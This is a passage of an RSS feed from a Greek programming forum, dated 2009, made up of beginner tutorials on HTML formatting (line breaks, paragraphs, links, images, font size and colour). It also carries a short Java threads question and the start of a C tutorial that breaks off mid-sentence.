		<pubDate>Tue, 09 Jun 2009 01:24:15 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=858</guid>
	</item>
	<item>
		<title>Αλλαγές Γραμμών</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=857</link>
		<description><![CDATA[ΚΕΝΕΣ ΓΡΑΜΜΕΣ &lt;BR&gt;<br />Η &lt;BR&gt; λειτουργεί όπως το πάτημα ενός Enter σε έναν επεξεργαστή κειμένου. Μπορούμε να αφήσουμε την υπόλοιπη γραμμή κενή και να ξεκινήσει η εμφάνιση του επόμενου κειμένου από μια νέα.<br /><br /><b>ΠΡΟΣΟΧΗ:</b> Η &lt;BR&gt; δεν αφήνει μια κενή γραμμή. Απλώς μεταφέρει το υπόλοιπο κομμάτι της τρέχουσας γραμμής στην από κάτω. Για να αφήσετε κενή γραμμή πρέπει ή να αλλάξετε παράγραφο ή να βάλετε 2 οδηγίες &lt;BR&gt; (&lt;BR&gt;&lt;BR&gt;).<br /><br /><b><u>Παράδειγμα 1:</u></b><br /><br />Κώδικας<br />Συνήθως δεν πρέπει να δίνουμε μεγάλη σημασία σε τέτοιες προβλέψεις &lt;BR&gt;μια και οι σύγχρονοι προφήτες (έστω και αν έχουν αποκτήσει το πιο επιστημονικό όνομα του μελλοντολόγου) σπάνια αποδεικνύονται καλύτεροι από τους προκατόχους τους.<br /><br /><br /> <br /><br /><b><u>Εμφάνιση</u></b><br /><br />Συνήθως δεν πρέπει να δίνουμε μεγάλη σημασία σε τέτοιες προβλέψεις <br /><br /><br /><br />μια και οι σύγχρονοι προφήτες (έστω και αν έχουν αποκτήσει το πιο επιστημονικό όνομα του μελλοντολόγου) σπάνια αποδεικνύονται καλύτεροι από τους προκατόχους τους.<br /><br /><br />Αλλάζει γραμμή μετά την λέξη προβλέψεις<br /><br /><b>Παράδειγμα 2:</b><br /><br /><b><u>Κώδικας</u></b><br />Συνήθως δεν πρέπει να δίνουμε μεγάλη σημασία σε τέτοιες προβλέψεις &lt;BR&gt;μια και οι σύγχρονοι προφήτες (έστω και αν έχουν αποκτήσει το πιο επιστημονικό όνομα του μελλοντολόγου) σπάνια αποδεικνύονται καλύτεροι από τους προκατόχους τους.&lt;BR&gt;<br /><br /><br /><b><u>Εμφάνιση</u></b><br />Συνήθως δεν πρέπει να δίνουμε μεγάλη σημασία σε τέτοιες προβλέψεις <br /><br />μια και οι σύγχρονοι προφήτες (έστω και αν έχουν αποκτήσει το πιο επιστημονικό όνομα του μελλοντολόγου) σπάνια αποδεικνύονται καλύτεροι από τους προκατόχους τους.<br /><br /><br />Το &lt;BR&gt; δεν κάνει τίποτε (βρίσκεται στο τέλος της γραμμής και δεν υπάρχει άλλο κείμενο για να το πάει στην από κάτω γραμμή.<br /><br /> <br /><br /><b><u>Παράδειγμα 3:</u></b><br /><br /><b>Κώδικας</b><br />Συνήθως δεν πρέπει να δίνουμε μεγάλη σημασία σε τέτοιες προβλέψεις μια και &lt;BR&gt;&lt;BR&gt;οι σύγχρονοι προφήτες (έστω και αν έχουν αποκτήσει το πιο επιστημονικό όνομα του μελλοντολόγου) σπάνια αποδεικνύονται καλύτεροι από τους προκατόχους τους.<br /><br /><br /><b>Εμφάνιση</b><br />Συνήθως δεν πρέπει να δίνουμε μεγάλη σημασία σε τέτοιες προβλέψεις μια και <br /><br />οι σύγχρονοι προφήτες (έστω και αν έχουν αποκτήσει το πιο επιστημονικό όνομα του μελλοντολόγου) σπάνια αποδεικνύονται καλύτεροι από τους προκατόχους τους.<br /><br /><br />Το πρώτο &lt;BR&gt; αφήνει την υπόλοιπη γραμμή κενή. Το δεύτερο αφήνει μια ολόκληρη γραμμή κενή. Στην πραγματικότητα και το δεύτερο αφήνει την υπόλοιπη γραμμή κενή. Επειδή όμως βρίσκεται στην αρχή της γραμμής, την αφήνει όλη κενή. <br /><br /> <br /><br />&lt;NOBR&gt;...&lt;/NOBR&gt;<br /><br />Αν θέλουμε να υποχρεώσουμε ένα κείμενο να μείνει ολόκληρο σε μια γραμμή (όσο μεγάλη κι αν χρειαστεί να γίνει αυτή), χρησιμοποιούμε την &lt;NOBR&gt; (NO &lt;BR&gt; tag). <br /><br />Π.χ.<br /><br />Παράδειγμα με κάτι που να τραβάει και πέρα από την οθόνη<br /><br />Φυσικά αυτό γίνεται με επέκταση στο δεξιό μέρος της οθόνης πράγμα που μπορεί σε μερικές περιπτώσεις να φανεί πολύ άσχημο. <br /><br />&lt;WBR&gt; (Word Break)<br /><br />Χρησιμοποιείται μόνο μέσα στην οδηγία &lt;NOBR&gt; Π.χ. &lt;NOBR&gt;κείμενο &lt;WBR&gt; κείμενο&lt;/NOBR&gt;. Αν υπάρχει ανάγκη να γίνει αλλαγή γραμμής (διότι το κείμενο είναι πολύ μεγάλο και δεν χωράει σε μια γραμμή) τότε η αλλαγή θα γίνει στο σημείο που υπάρχει η &lt;WBR&gt; και πουθενά αλλού. Αν δεν χρειάζεται αλλαγή γραμμής, τότε η &lt;WBR&gt; θα αγνοηθεί.]]></description>
		<pubDate>Tue, 09 Jun 2009 01:19:16 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=857</guid>
	</item>
	<item>
		<title>Ορισμός Παραγράφων</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=856</link>
		<description><![CDATA[<b><u>Εισαγωγή:</u></b><br />Είδαμε στο πρώτο μάθημα, πως αν και γράψαμε τις λέξεις την μια κάτω από την άλλη, ο browser τις ένωσε σε μια ενιαία παράγραφο. Ο browser θα αγνοήσει οποιαδήποτε μορφοποίηση κάνουμε στην ώρα που γράφουμε το κείμενο. Γι' αυτό, όλες οι μορφοποιήσεις πρέπει να δηλωθούν ξεχωριστά. <br /><br />Η εντολή για να ξεκινήσει μια καινούρια παράγραφος είναι &lt;P&gt; (όταν λέμε καινούρια παράγραφος εννοούμε πως ο browser θα αφήσει μια γραμμή κενή μεταξύ του κειμένου που βρίσκεται αριστερά της &lt;P&gt; και εκείνου που βρίσκεται δεξιά της). <br /><br /><b>Ο κώδικας θα είναι:</b><br />&lt;HTML&gt;&lt;P&gt;Το 1980 ο γνωστός μελλοντολόγος Alvin Toffler οραματίστηκε στο βιβλίο του Το Τρίτο Κύμα, έναν κόσμο με μισοάδειες πόλεις.&lt;P&gt;Συνήθως δεν πρέπει να δίνουμε μεγάλη σημασία σε τέτοιες προβλέψεις μια και οι σύγχρονοι προφήτες (έστω και αν έχουν αποκτήσει το πιο επιστημονικό όνομα του μελλοντολόγου) σπάνια αποδεικνύονται καλύτεροι από τους προκατόχους τους.&lt;P&gt;Ωστόσο, στην συγκεκριμένη περίπτωση, η αυξανόμενη δημοτικότητα της τηλεεργασίας, φαίνεται πως θα επιβεβαιώσει σε μεγάλο βαθμό αυτές τις προβλέψεις.&lt;/HTML&gt;<br /><br /><br /><b>Θα εμφανιστεί ως:</b><br />Το 1980 ο γνωστός μελλοντολόγος Alvin Toffler οραματίστηκε στο βιβλίο του Το Τρίτο Κύμα, έναν κόσμο με μισοάδειες πόλεις.<br /><br /><b>Συνήθως δεν</b> πρέπει να δίνουμε μεγάλη σημασία σε τέτοιες προβλέψεις μια και οι σύγχρονοι προφήτες (έστω και αν έχουν αποκτήσει το πιο επιστημονικό όνομα του μελλοντολόγου) σπάνια αποδεικνύονται καλύτεροι από τους προκατόχους τους.<br /><br />Ωστόσο, στην συγκεκριμένη περίπτωση, η αυξανόμενη δημοτικότητα της τηλεεργασίας, φαίνεται πως θα επιβεβαιώσει σε μεγάλο βαθμό αυτές τις προβλέψεις.<br /><br /><br />Το πρώτο &lt;P&gt; τοποθετήθηκε για να μην κολλήσει το κείμενο στο πάνω μέρος της οθόνης αλλά να υπάρχει μια κενή γραμμή πριν αρχίσει να εμφανίζεται το κείμενο.<br /><br />Αντίθετα απ' ότι θα περίμενε κανείς, η οδηγία αυτή δεν κλείνει με ένα &lt;/P&gt; που να σημαίνει πως τελειώνει παράγραφος (αν και πολλοί συνιστούν να την γράφουμε στο τέλος κάθε παραγράφου για λόγους ομοιομορφίας και τάξεως). Το τέλος μιας παραγράφου σηματοδοτείται με την οδηγία &lt;P&gt; με την οποία αρχίζει η επόμενη παράγραφος (αν αρχίζει νέα παράγραφος αυτό ερμηνεύεται κατά τον browser σαν ένδειξη ότι τελειώνει η παλιά και έτσι το κείμενο μορφοποιείται ανάλογα).]]></description>
		<pubDate>Tue, 09 Jun 2009 01:17:26 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=856</guid>
	</item>
	<item>
		<title>Πώς κατασκευάζεται μια απλή Web σελίδα</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=855</link>
		<description><![CDATA[Μία Web Σελίδα είναι ένα text αρχείο. Για τον λόγο αυτό μπορούμε να χρησιμοποιήσουμε οποιοδήποτε πρόγραμμα μας δίνει την δυνατότητα να παράγουμε text αρχεία. Αρχικά σας προτείνουμε να χρησιμοποιήσετε το notepad (σημειωματάριο) των Windows. Αν θέλετε να χρησιμοποιήσετε το Word for Windows μην ξεχάσετε πως το αρχείο πρέπει να σωθεί σε μορφή txt και όχι doc.<br /><br />Αρκετοί αναγνώστες θα έχουν ακούσει για προγράμματα όπως το Frontpage ή το Composer με τα οποία μπορεί κανείς να κατασκευάσει Web σελίδες. Πρόκειται για πολύ χρήσιμα εργαλεία αλλά με αυτά δεν μαθαίνει κανείς HTML. Σας προτείνουμε εντονότατα να μην τα χρησιμοποιήσετε ακόμη. Μόνο όταν μάθετε τι είναι και πως λειτουργεί η HTML θα μπορέσετε να τα χρησιμοποιήσετε χωρίς προβλήματα.<br /><br /><br /><br /><br /><b>Βήμα 1</b><br /><br />Η HTML κώδικας της πρώτης μας σελίδας θα έχει την παρακάτω μορφή:<br />&lt;HTML&gt;<br /><br />Αυτή <br /><br />είναι<br /><br />η<br /><br />πρώτη<br /><br />μου<br /><br />σελίδα.<br /><br />&lt;/HTML&gt;<br /><br /><br />Το μόνο που κάναμε ήταν να γράψουμε ένα κείμενο που να περικλείεται από την οδηγία<br /><br />&lt;HTML&gt;...&lt;/HTML&gt; Κάθε Web σελίδα αρχίζει με την οδηγία (tag) &lt;HTML&gt; και τελειώνει με την εντολή &lt;/HTML&gt;. Η πρώτη πληροφορεί τον Web client πως το αρχείο είναι γραμμένο σε γλώσσα HTML και η τελευταία πως ο HTML κώδικας τελείωσε.<br /><br /><br /><br /><br /><b>Βήμα 2</b><br /><br /><br /><br /><br />Αποθηκεύουμε το αρχείο με όποιο όνομα θέλουμε αρκεί η επέκτασή του να είναι htm ή html. Π.χ. μπορούμε να το ονομάσουμε mypage.htm ή mypage.html (προσέξτε μήπως το πρόγραμμα με το οποίο γράψατε την σελίδα προσθέσει μετά από μόνο του μια δική του επέκταση μετά το htm ή html).<br /><br /><b>Βήμα 3</b><br /><br />Ανοίγουμε το αρχείο (δηλαδή την πρώτη μας σελίδα) με τον browser που χρησιμοποιούμε. Για να το κάνουμε αυτό στο Netscape Communicator κάνουμε File - Open Page - Choose File και File - Open - Browse (Αρχείο - ’νοιγμα - Αναζήτηση) στον Internet Explorer. Αυτό που βλέπουμε είναι μια σελίδα που γράφει: <br /><br /><br /><br /><br />Αυτή είναι η πρώτη μου σελίδα.]]></description>
		<pubDate>Tue, 09 Jun 2009 01:16:19 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=855</guid>
	</item>
	<item>
		<title><![CDATA[Links & &#949;&#953;&#954;&#972;&#957;&#949;&#962;]]></title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=854</link>
		<description><![CDATA[&#931;&#949; &#945;&#965;&#964;&#942;&#957; &#964;&#951;&#957; &#949;&#957;&#972;&#964;&#951;&#964;&#945; &#952;&#945; &#948;&#959;&#973;&#956;&#949; &#960;&#969;&#962; &#956;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#957;&#945; &#949;&#953;&#963;&#940;&#947;&#959;&#965;&#956;&#949; links &#954;&#945;&#953; &#949;&#953;&#954;&#972;&#957;&#949;&#962;...<br />&#915;&#953;&#945; &#957;&#945; &#949;&#953;&#963;&#940;&#947;&#959;&#965;&#956;&#949; &#941;&#957;&#945; link &#952;&#945; &#960;&#961;&#941;&#960;&#949;&#953; &#957;&#945; &#947;&#961;&#940;&#968;&#959;&#965;&#956;&#949; &#964;&#959;&#957; &#960;&#945;&#961;&#945;&#954;&#940;&#964;&#969; &#954;&#974;&#948;&#953;&#954;&#945;:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#60;a href=&#34;&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#960;&#955;&#942;&#961;&#949;&#962; url&#34;&#62;&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;&#60;/a&#62;<!--c2--></div><!--ec2--><br /><br /><br /><br />&#928;&#945;&#961;&#940;&#948;&#949;&#953;&#947;&#956;&#945;:<br /><br /><br /><br />&#917;&#960;&#953;&#963;&#954;&#949;&#966;&#952;&#949;&#943;&#964;&#949; &#964;&#959; <!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#60;a href=&#34;http&#58;//www.hackeruniversity.gr&#34;&#62;site &#964;&#959;&#965; Hacker University&#60;/a&#62;<!--c2--></div><!--ec2--><br /><br />&#932;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#952;&#945; &#949;&#943;&#957;&#945;&#953;:<br /><br />&#917;&#960;&#953;&#963;&#954;&#949;&#966;&#952;&#949;&#943;&#964;&#949; &#964;&#959; <a href="http://www.hackeruniversity.gr">site &#964;&#959;&#965; Hacker University</a><br /><br /><br />&#924;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#964;&#974;&#961;&#945; &#957;&#945; &#960;&#961;&#959;&#963;&#952;&#941;&#963;&#959;&#965;&#956;&#949; &#956;&#949;&#961;&#953;&#954;&#940; &#945;&#954;&#972;&#956;&#945; &#960;&#961;&#945;&#947;&#956;&#945;&#964;&#940;&#954;&#953;&#945; &#963;&#949; &#945;&#965;&#964;&#972; &#964;&#959; tag:<br /><br />&#924;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#957;&#945; &#949;&#960;&#953;&#955;&#941;&#958;&#959;&#965;&#956;&#949; &#951; &#963;&#949;&#955;&#943;&#948;&#945; &#957;&#945; &#945;&#957;&#959;&#943;&#947;&#949;&#953; &#963;&#949; &#957;&#941;&#959; &#960;&#945;&#961;&#940;&#952;&#965;&#961;&#959; (&#954;&#945;&#953; &#972;&#967;&#953; &#963;&#964;&#959; &#943;&#948;&#953;&#959; &#972;&#960;&#969;&#962; &#949;&#943;&#957;&#945;&#953; &#951; default &#960;&#945;&#961;&#940;&#956;&#949;&#964;&#961;&#959;&#962;). &#913;&#965;&#964;&#972; &#947;&#943;&#957;&#949;&#964;&#945;&#953; &#960;&#961;&#959;&#963;&#952;&#941;&#964;&#959;&#957;&#964;&#945;&#962; &#964;&#951;&#957; &#949;&#957;&#964;&#959;&#955;&#942; <!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->target=&#34;_blank&#34;<!--c2--></div><!--ec2-->&#956;&#941;&#963;&#945; &#963;&#964;&#959; tag:<br /><br />&#917;&#960;&#953;&#963;&#954;&#949;&#966;&#952;&#949;&#943;&#964;&#949; &#964;&#959;<!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1--> &#60;a target=&#34;_blank&#34; href=&#34;http&#58;//www.hackeruniversity.gr&#34;&#62;site &#964;&#959;&#965; Hacker University&#60;/a&#62;<!--c2--></div><!--ec2--><br /><br /><br /><br /><br /><br /><br /><br />&#917;&#960;&#943;&#963;&#951;&#962; &#956;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#957;&#945; &#945;&#966;&#945;&#953;&#961;&#941;&#963;&#959;&#965;&#956;&#949; &#964;&#951;&#957; &#965;&#960;&#959;&#947;&#961;&#940;&#956;&#956;&#953;&#963;&#951;:<br /><br />&#917;&#960;&#953;&#963;&#954;&#949;&#966;&#952;&#949;&#943;&#964;&#949; &#964;&#959; <!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#60;a style='text-decoration&#58;none;text-underline&#58;none' href=&#34;http&#58;//www.hackeruniversity.gr&#34;&#62;site &#964;&#959;&#965; Hackeruniversity&#60;/a&#62;<!--c2--></div><!--ec2--><br /><br />&#917;&#960;&#953;&#963;&#954;&#949;&#966;&#952;&#949;&#943;&#964;&#949; &#964;&#959;<a style='text-decoration:none;text-underline:none' href="http://www.hackeruniversity.gr">site &#964;&#959;&#965; Hackeruniversity</a> <br /><br /><br /><br /><br />&#915;&#953;&#945; &#957;&#945; &#949;&#953;&#963;&#940;&#947;&#959;&#965;&#956;&#949; &#964;&#974;&#961;&#945; &#956;&#953;&#945; &#949;&#953;&#954;&#972;&#957;&#945; &#952;&#945; &#967;&#961;&#949;&#953;&#945;&#963;&#964;&#959;&#973;&#956;&#949; &#964;&#951;&#957; &#960;&#945;&#961;&#945;&#954;&#940;&#964;&#969; &#963;&#973;&#957;&#964;&#945;&#958;&#951;:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#60;img src=&#34;&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#960;&#955;&#942;&#961;&#949;&#962; url&#34;&#62;<!--c2--></div><!--ec2-->]]></description>
		<pubDate>Tue, 09 Jun 2009 01:02:30 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=854</guid>
	</item>
	<item>
		<title><![CDATA[&#924;&#941;&#947;&#949;&#952;&#959;&#962; &#947;&#961;&#945;&#956;&#956;&#940;&#964;&#969;&#957;]]></title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=853</link>
		<description><![CDATA[&#913;&#962; &#948;&#959;&#973;&#956;&#949; &#964;&#974;&#961;&#945; &#960;&#974;&#962; &#956;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#957;&#945; &#945;&#955;&#955;&#940;&#958;&#959;&#965;&#956;&#949; &#964;&#959; &#956;&#941;&#947;&#949;&#952;&#959;&#962; &#964;&#969;&#957; &#947;&#961;&#945;&#956;&#956;&#940;&#964;&#969;&#957;!<br />&#932;&#959; tag &#960;&#959;&#965; &#952;&#945; &#967;&#961;&#951;&#963;&#953;&#956;&#959;&#960;&#959;&#953;&#942;&#963;&#959;&#965;&#956;&#949; &#949;&#948;&#974; &#949;&#943;&#957;&#945;&#953; &#954;&#945;&#953; &#960;&#940;&#955;&#953; &#964;&#959; font, &#945;&#965;&#964;&#942; &#964;&#951; &#966;&#959;&#961;&#940; &#956;&#945;&#950;&#943; &#956;&#949; &#964;&#959; size.<br /><br />To default size &#949;&#943;&#957;&#945;&#953; 3. &#917;&#956;&#949;&#943;&#962; &#956;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#957;&#945; &#964;&#959; &#945;&#955;&#955;&#940;&#958;&#959;&#965;&#956;&#949; &#949;&#943;&#964;&#949; &#948;&#943;&#957;&#959;&#957;&#964;&#945;&#962; &#964;&#953;&#956;&#941;&#962; &#945;&#960;&#972; 1 &#941;&#969;&#962; 5 &#949;&#943;&#964;&#949; &#945;&#965;&#958;&#959;&#956;&#949;&#953;&#974;&#957;&#959;&#957;&#964;&#945;&#962; &#964;&#959; &#956;&#949; &#964;&#951;&#957; &#949;&#957;&#964;&#959;&#955;&#942; +1, +2, -1 &#954;&#964;&#955;...<br /><br />&#915;&#953;&#945; &#957;&#945; &#947;&#961;&#940;&#968;&#959;&#965;&#956;&#949; &#954;&#940;&#964;&#953; &#956;&#949; <!--sizeo:5--><span style="font-size:18pt;line-height:100%"><!--/sizeo-->&#947;&#961;&#940;&#956;&#956;&#945;&#964;&#945; &#957;&#959;&#973;&#956;&#949;&#961;&#959; 5<!--sizec--></span><!--/sizec--> &#945;&#961;&#954;&#949;&#943; &#957;&#945; &#964;o &#946;&#940;&#955;&#959;&#965;&#956;&#949; &#956;&#941;&#963;&#945; &#963;&#949; tags &#964;&#951;&#962; &#956;&#959;&#961;&#966;&#942;&#962;:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#60;font size=&#34;5&#34;&#62;&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;&#60;/font&#62;<!--c2--></div><!--ec2--><br /><br />&#932;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#952;&#945; &#949;&#943;&#957;&#945;&#953;:<br /><br /><!--sizeo:5--><span style="font-size:18pt;line-height:100%"><!--/sizeo-->&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;<!--sizec--></span><!--/sizec-->]]></description>
		<pubDate>Tue, 09 Jun 2009 00:59:50 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=853</guid>
	</item>
	<item>
		<title><![CDATA[&#935;&#961;&#974;&#956;&#945; &#947;&#961;&#945;&#956;&#956;&#940;&#964;&#969;&#957;]]></title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=852</link>
		<description><![CDATA[&#915;&#953;&#945; &#957;&#945; &#948;&#959;&#973;&#956;&#949; &#964;&#974;&#961;&#945; &#960;&#974;&#962; &#956;&#960;&#959;&#961;&#959;&#973;&#956;&#949; &#957;&#945; &#948;&#974;&#963;&#959;&#965;&#956;&#949; &#955;&#943;&#947;&#959;... &#967;&#961;&#974;&#956;&#945; &#963;' &#945;&#965;&#964;&#940; &#960;&#959;&#965; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949;!<br />&#915;&#953;&#945; &#957;&#945; &#947;&#961;&#940;&#968;&#959;&#965;&#956;&#949; &#956;&#953;&#945; &#955;&#941;&#958;&#951; &#956;&#949; <!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro-->&#954;&#972;&#954;&#954;&#953;&#957;&#945;<!--colorc--></span><!--/colorc--> &#947;&#961;&#940;&#956;&#956;&#945;&#964;&#945; &#945;&#961;&#954;&#949;&#943; &#957;&#945; &#964;&#951; &#946;&#940;&#955;&#959;&#965;&#956;&#949; &#956;&#941;&#963;&#945; &#963;&#949; tags &#964;&#951;&#962; &#956;&#959;&#961;&#966;&#942;&#962;:<br /><br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->&#60;font color=&#34;red&#34;&#62;&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;&#60;/font&#62;<!--c2--></div><!--ec2--><br /><br />&#932;&#959; &#945;&#960;&#959;&#964;&#941;&#955;&#949;&#963;&#956;&#945; &#952;&#945; &#949;&#943;&#957;&#945;&#953;:<br /><br /><!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro-->&#949;&#948;&#974; &#947;&#961;&#940;&#966;&#959;&#965;&#956;&#949; &#964;&#959; &#954;&#949;&#943;&#956;&#949;&#957;&#959;<!--colorc--></span><!--/colorc--><br /><br /><br /><br /><br /><br />&#931;&#964;&#951; &#948;&#953;&#940;&#952;&#949;&#963;&#951; &#956;&#945;&#962; &#941;&#967;&#959;&#965;&#956;&#949; &#956;&#953;&#945; &#964;&#949;&#961;&#940;&#963;&#964;&#953;&#945; &#960;&#959;&#953;&#954;&#953;&#955;&#943;&#945; &#967;&#961;&#969;&#956;&#940;&#964;&#969;&#957;! &#922;&#940;&#960;&#959;&#953;&#945; &#945;&#960;&#972; &#964;&#945; &#946;&#945;&#963;&#953;&#954;&#940; &#967;&#961;&#974;&#956;&#945;&#964;&#945; &#945;&#961;&#954;&#949;&#943; &#957;&#945; &#964;&#945; &#947;&#961;&#940;&#968;&#959;&#965;&#956;&#949; &#956;&#949; &#964;&#959; &#972;&#957;&#959;&#956;&#945; &#964;&#959;&#965;&#962;, &#947;&#953;&#945; &#964;&#945; &#965;&#960;&#972;&#955;&#959;&#953;&#960;&#945; &#952;&#945; &#967;&#961;&#949;&#953;&#945;&#963;&#964;&#959;&#973;&#956;&#949; &#964;&#959;&#957; &#954;&#969;&#948;&#953;&#954;&#972; &#964;&#959;&#965;&#962;.<br /><br />&#935;&#961;&#974;&#956;&#945;&#964;&#945; &#954;&#945;&#953; &#954;&#969;&#948;&#953;&#954;&#959;&#973;&#962; &#952;&#945; &#946;&#961;&#949;&#943;&#964;&#949; &#940;&#960;&#949;&#953;&#961;&#945; &#963;&#964;&#959; internet... &#917;&#957;&#948;&#949;&#953;&#954;&#964;&#953;&#954;&#940; &#963;&#945;&#962; &#948;&#943;&#957;&#969; &#956;&#953;&#945; &#963;&#949;&#955;&#943;&#948;&#945;:<a href="http://www.w3schools.com/html/html_colors.asp" target="_blank">html colors.</a><br /><br /><br /><br /><br /><br /><br />]]></description>
		<pubDate>Tue, 09 Jun 2009 00:58:29 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=852</guid>
	</item>
	<item>
		<title>Java.Thread</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=118</link>
		<description><![CDATA[&#928;&#945;&#953;&#948;&#953;&#940;, &#958;&#941;&#961;&#949;&#953; &#954;&#945;&#957;&#949;&#943;&#962; &#945;&#957; &#947;&#943;&#957;&#949;&#964;&#945;&#953; &#957;&#945; &#945;&#957;&#964;&#945;&#955;&#955;&#940;&#963;&#959;&#957;&#964;&#945;&#953; &#960;&#955;&#951;&#961;&#959;&#966;&#959;&#961;&#943;&#949;&#962; &#956;&#949;&#964;&#945;&#958;&#973; java threads &#942; java thread &#954;&#945;&#953; main &#960;&#961;&#959;&#947;&#961;&#940;&#956;&#956;&#945;&#964;&#959;&#962;;]]></description>
		<pubDate>Sun, 26 Apr 2009 12:57:16 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=118</guid>
	</item>
	<item>
		<title><![CDATA[Tutorial &#914;&#945;&#963;&#953;&#954;&#941;&#962; &#949;&#957;&#964;&#959;&#955;&#941;&#962; &#963;&#964;&#951;&#957; C]]></title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=112</link>
		<description><![CDATA[<div align='center'><!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto--><!--sizeo:6--><span style="font-size:24pt;line-height:100%"><!--/sizeo--><b>&#927;&#921; &#931;&#919;&#924;&#913;&#925;&#932;&#921;&#922;&#927;&#932;&#917;&#929;&#917;&#931;  &#917;&#925;&#932;&#927;&#923;&#917;&#931;<br />  &#922;&#913;&#921; &#931;&#933;&#925;&#913;&#929;&#932;&#919;&#931;&#917;&#921;&#931; &#932;&#919;&#931; &#915;&#923;&#937;&#931;&#931;&#913;&#931; C</b><!--sizec--></span><!--/sizec--><!--fontc--></span><!--/fontc--></div><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#932;&#945; <b><i>&#963;&#967;&#972;&#955;&#953;&#945;</i></b> &#963;&#964;&#951; C &#947;&#961;&#940;&#966;&#959;&#957;&#964;&#945;&#953; &#945;&#957;&#940;&#956;&#949;&#963;&#945; &#963;&#964;&#945; &#963;&#973;&#956;&#946;&#959;&#955;&#945; /*  &#954;&#945;&#953; */ &#954;&#945;&#953; &#956;&#960;&#959;&#961;&#959;&#973;&#957; &#957;&#945; &#954;&#945;&#964;&#945;&#955;&#945;&#956;&#946;&#940;&#957;&#959;&#965;&#957; &#954;&#945;&#953; &#960;&#949;&#961;&#953;&#963;&#963;&#972;&#964;&#949;&#961;&#949;&#962; &#945;&#960;&#972; &#956;&#943;&#945; &#947;&#961;&#945;&#956;&#956;&#941;&#962;.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#904;&#957;&#945; &#960;&#961;&#972;&#947;&#961;&#945;&#956;&#956;&#945; &#963;&#964;&#951; C &#960;&#961;&#941;&#960;&#949;&#953;  &#957;&#945; &#958;&#949;&#954;&#953;&#957;&#940; &#956;&#949; &#964;&#953;&#962; &#948;&#951;&#955;&#974;&#963;&#949;&#953;&#962; #include &lt;stdio.h&gt; &#954;&#945;&#953; main() &#954;&#945;&#953; &#956;&#949;&#964;&#940; &#972;&#955;&#959; &#964;&#959;  &#960;&#961;&#972;&#947;&#961;&#945;&#956;&#956;&#945; &#960;&#949;&#961;&#953;&#954;&#955;&#949;&#943;&#949;&#964;&#945;&#953; &#963;&#964;&#953;&#962; &#945;&#947;&#954;&#973;&#955;&#949;&#962; { &#954;&#945;&#953; }. &#924;&#949; &#964;&#953;&#962; &#945;&#947;&#954;&#973;&#955;&#949;&#962; &#945;&#965;&#964;&#941;&#962; &#948;&#951;&#955;&#974;&#957;&#959;&#965;&#956;&#949;  &#947;&#949;&#957;&#953;&#954;&#972;&#964;&#949;&#961;&#945; &#956;&#953;&#945; &#959;&#956;&#940;&#948;&#945; (&#956;&#960;&#955;&#959;&#954;) &#949;&#957;&#964;&#959;&#955;&#974;&#957;, &#954;&#940;&#964;&#953; &#945;&#957;&#964;&#943;&#963;&#964;&#959;&#953;&#967;&#959; &#948;&#951;&#955;. &#964;&#969;&#957; &#948;&#951;&#955;&#974;&#963;&#949;&#969;&#957; begin  &#954;&#945;&#953; end &#964;&#951;&#962; 